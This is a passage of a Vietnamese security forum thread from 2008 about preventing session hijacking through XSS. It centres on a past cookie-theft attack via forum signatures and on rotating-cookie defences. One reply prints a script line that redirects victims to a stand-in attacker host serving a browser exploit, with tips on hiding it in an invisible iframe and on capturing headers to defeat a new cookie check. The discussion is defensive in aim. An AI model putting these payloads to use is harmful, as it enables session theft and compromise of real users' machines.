Lỗi trên HAV forum, tại phần signature, mà gamma95 khai thác thành công, tức là gamma95 đã vào được HVA dưới tên của nạn nhân (môt số Mod. trong HVA), là thuộc lỗi XSS Non-Persistent. Trong đó ta thấy rõ ràng 3 thành phần: HVA forum (1), nạn nhân (2)- là ai đó đã từng nhấp chuột vào con gián chạy, đựoc insert vào signature của gamma85- và hacker-gamma95 (3), chủ nhân trang web http://hacker.com ở trên. Gamma95 chiếm đựoc quyển vào HVA forum của một phiên kết nối. Tuy nhiên vể tình tiết diễn biến trong quá trình exploiting scenarios của gamma95 có khác đôi chút so với các scenarios của các quá trình khai thác lỗi Non-Persistent XSS điển hình khác. Nhưng nó cơ bản vẫn là quá trình khác thác một lỗi Non-Persistent XSS.
Với quá trình này gamma95 đã lấy đựoc cookie của nhiều nạn nhân. Những cookie này lưu trong trình duyệt nạn nhân (nằm trong các files liên quan tại Documents and Settings/Administrator/ ). Xin chú ý là hacker chỉ có thể lấy đựoc các thông tin cá nhân (trong đó có cookie) lưu trong trình duyệt của nạn nhân và những thông tin này phải là của phiên kết nối mà nạn nhân đang thưc hiện trên webserver (ở đây là HVA forum) có lỗi XSS và khi nạn nhân vẫn còn "đứng" trong webserver. Hacker không thể lấy đựoc các thông tin khác lưu trong trình duyệt, thí dụ cookie của báo Tuổi trẻ mà trước đó nạn nhân đã từng truy cập để xem. Nhưng về nguyên tắc là hacker có thể lấy đựoc mọi thông tin về phiên kết nối đến HVA forum, lưu trong trình duyệt nạn nhân. Gamma95 chỉ tạo một script lấy cookie. Vì theo gamma95 thế là đủ, thưc tế cũng như vậy.
Trình duyệt của nạn nhân khi truy cập đến webserver của hacker (thành phần thứ 3) thì không bị webserver gây tổn thưong gì cả, nhưng nó chỉ cho phép môt malicious script mà hacker embedded trên URL của webserver, "chạy" (execute) trong nó và do đó script thu thập từ trình duyệt các thông tin cần thiết.
Khi đọc các file độc hại trên webserver có lỗi XSS (thí dụ HVAforum) trình duyệt có thể bị tổn thương. Nhưng cụ thể quá trình diễn ra chi tiết như thế nào thì khá phức tạp, khó hiểu và cũng không có tài liệu nào nói rõ. Cần ngâm cứu thêm. (Ai biết rõ xin chỉ giáo)
Bây giờ xin đặt một câu hỏi có vẻ "hấp dẫn và quan trọng đây" với gamma95 và các bạn khác là: Nếu bây giờ (bây giờ là 10.30 AM, Feb.24, 2008) nếu giả dụ HVA chưa khắc phục lỗi XSS tại "signature" trên forum, (nghĩa là gamma95 vẫn có thể insert môt con "gián chay" vào khu signature của mình), thì với cách khai thác đúng như trên của gamma95, gamma95 có còn chiếm đựoc quyền phiên kết nối của môt nạn nhân hay không? Tại sao? |
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
25/02/2008 00:52:11 (+0700) | #56 | 116447 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
gamma95 wrote:
boom_jt wrote:
Có vẻ như HTTP authentication cũng ko thể chống đc XSS ...
Ok, nhờ bạn boom_it phân tích thêm về nhận định này
Nói ra xấu hổ, chứ việc dùng xss để bypass HTTP authentication boom_jt cũng chưa nắm rõ á :"> có điều nếu ai muốn nghiên cứu việc này thì boom_jt có tài liệu và video demo hẳn hoi đây:
link: http://www.securiteam.com/tools/5TP0D0AM0M.html
A Short Demonstration Video:
http://ferruh.mavituna.com/blogs/xsstunnelling-video.zip
Video shows to exploit a permanent XSS in wordpress and bypass Basic Auth on the fly by XSS Tunnel.
@bác rxmmrf:
Khi đọc các file độc hại trên webserver có lỗi XSS (thí dụ HVAforum) trình duyệt có thể bị tổn thương
có thể boom_jt hiểu thì sẽ là:
<script> window.location="http://hacker.com/khaithacloitrinhduyet.htm"</script>
trong đó khaithacloitrinhduyet.htm là 1 file html đơn giản có chứa mã khai thác của 1 lỗi BOF nào đó hacker tìm thấy trên milw0rm chẳng hạn, khi đó máy tính victim sẽ thực thi đoạn shell code do hacker đặt trong file html trên -> bị "tổn thương" (hì theo cách nói của bác ^^)
Nói thêm chút là có thể khai thác mà người dùng hoàn toàn ko nhận ra sự thay đổi bằng cách chèn 1 iframe với height=width=0 và src chính là trang html trên...
Về vấn đề khai thác xss tại thời điểm này, thì theo như bác gamma có nhận thấy sự xuất hiện của 1 biến combohash trong cookie do bác conmale đưa thêm vào, như vậy với cách khai thác là chỉ thay cookie thì chưa chắc đã thành công. File cookie.php của bác gamma sẽ phải có thêm chức năng lưu lại http header từ browser của victim gửi kèm, từ đó sử dụng http header này cùng với cookie thu được thì may ra sẽ thành công chăng |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
25/02/2008 02:08:38 (+0700) | #57 | 116455 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
07/03/2008 00:01:57 (+0700) | #58 | 118184 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Khơi thêm một tí để bàn cho vui
Giả sử chúng ta có một trường hợp xử lý như sau:
1) User A gởi request thứ nhất đến HVA và chưa hề nhận được một cookie nào cả.
2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1
3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy).
Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị.
Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không?
Mời bà con bàn.
Thân. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
|